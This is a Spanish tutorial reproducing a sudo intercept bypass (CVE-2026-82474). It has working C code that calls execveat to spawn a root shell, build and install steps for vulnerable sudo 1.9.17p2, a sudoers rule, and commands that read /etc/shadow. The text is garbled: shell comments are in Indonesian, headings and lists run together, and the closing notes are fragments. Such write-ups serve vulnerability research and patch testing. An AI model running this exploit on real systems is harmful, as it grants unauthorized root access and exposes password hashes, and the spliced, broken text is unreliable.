
Tutorial de reproducción y programa de activación que demuestra CVE-2026-82474, un bypass de intercepción de sudo mediante execveat que permite la escalada de privilegios locales a root.
execveat en la intercepción de sudo)Advertencia: Este tutorial es solo para entornos de laboratorio que usted controle por completo. No lo utilice en sistemas sin autorización. CVE-2026-82474 es una vulnerabilidad real que afecta a sudo hasta la versión 1.9.17p2.
CVE-2026-82474 es una vulnerabilidad en sudo que permite a usuarios con permisos limitados eludir la política intercept (basada en ptrace) invocando la llamada al sistema execveat. Sudo verifica execve pero no verifica execveat, por lo que un programa que debería estar prohibido puede ejecutarse.
Defaults intercept o Defaults log_subcmds activos, el usuario tiene permisos sudo limitadosexecveat)sudo-1.9.17p2.tar.gzgcc, make, libpam0g-dev, libselinux1-dev (opcional)# Unduh source code
wget https://www.sudo.ws/dist/sudo-1.9.17p2.tar.gz
tar xzvf sudo-1.9.17p2.tar.gz
cd sudo-1.9.17p2
# Konfigurasi dan kompilasi
./configure --prefix=/usr/local
make -j$(nproc)
# Instal (timpa sudo sistem; lakukan di VM/container)
sudo make install
Verificación:
/usr/local/bin/sudo --version
# Harus menampilkan: Sudo version 1.9.17p2
Asegúrese de que /usr/local/bin esté al frente de PATH, o utilice la ruta absoluta /usr/local/bin/sudo en todos los comandos siguientes.
sudo useradd -m -s /bin/bash attacker
sudo passwd attacker
syscaller.cEste programa abre el archivo objetivo y luego llama a execveat con AT_EMPTY_PATH para ejecutarlo. Dado que execveat no es verificado por la interceptación de sudo, el programa objetivo se ejecuta como root.
#define _GNU_SOURCE
#include <unistd.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
const char *target = (argc > 1) ? argv[1] : "/bin/sh";
int fd = open(target, O_RDONLY);
if (fd < 0) {
perror("open");
return 1;
}
char *const new_argv[] = { (char *)target, NULL };
char *const new_envp[] = { NULL };
long ret = syscall(SYS_execveat, fd, "", new_argv, new_envp, AT_EMPTY_PATH);
perror("execveat");
return 1;
}
Compilar como el usuario attacker:
su - attacker
gcc syscaller.c -o syscaller
Editar con visudo (como root):
sudo visudo
Añade:
Defaults intercept
attacker ALL=(root) NOPASSWD: /home/attacker/syscaller
Lo que está permitido es syscaller en sí mismo, no /bin/sh. Esta es la clave: sudo permite que syscaller se ejecute, pero cuando syscaller invoca execveat para ejecutar /bin/sh, sudo no inspecciona execveat.
Como el usuario attacker:
sudo /home/attacker/syscaller /bin/sh
Si tiene éxito, el prompt cambia de $ a #.
Los comandos externos como id o whoami seguirán bloqueados por la interceptación de sudo (porque activan un execve normal). Utilice los integrados del shell para demostrar los privilegios de root:
read line < /etc/shadow && echo "readable"
o
while IFS= read -r line; do echo "$line"; done < /etc/shadow
Salida: readable — demuestra que el shell se ejecuta como root y puede leer /etc/shadow.
O bien:
echo $UID
# Output: 0
id
# Output: Sorry, user attacker is not allowed to execute '/usr/bin/id' as root...
Esto demuestra que el mecanismo de interceptación sigue funcionando para execve normal, pero execveat logró evadirlo.
| Etapa | Resultado |
|---|---|
| Compilación de sudo 1.9.17p2 | ✅ |
Defaults intercept activo | ✅ |
Lista blanca solo syscaller | ✅ |
execveat activa /bin/sh | ✅ |
| Shell root obtenida | ✅ |
/etc/shadow se puede leer | ✅ |
execve normal sigue bloqueado | ✅ |
syscaller.c de arriba es una herramienta de verificación escrita por uno mismo basada en el principio técnico.71fbe42; las versiones de sudo posteriores a 1.9.17p2 ya no son vulnerables.bash como objetivo (/bin/bash), el shell podría leer configuración adicional; sin embargo, los comandos externos seguirán siendo bloqueados por la interceptación.execveat y ptrace puede variar entre kernels.71fbe42 (repositorio de sudo)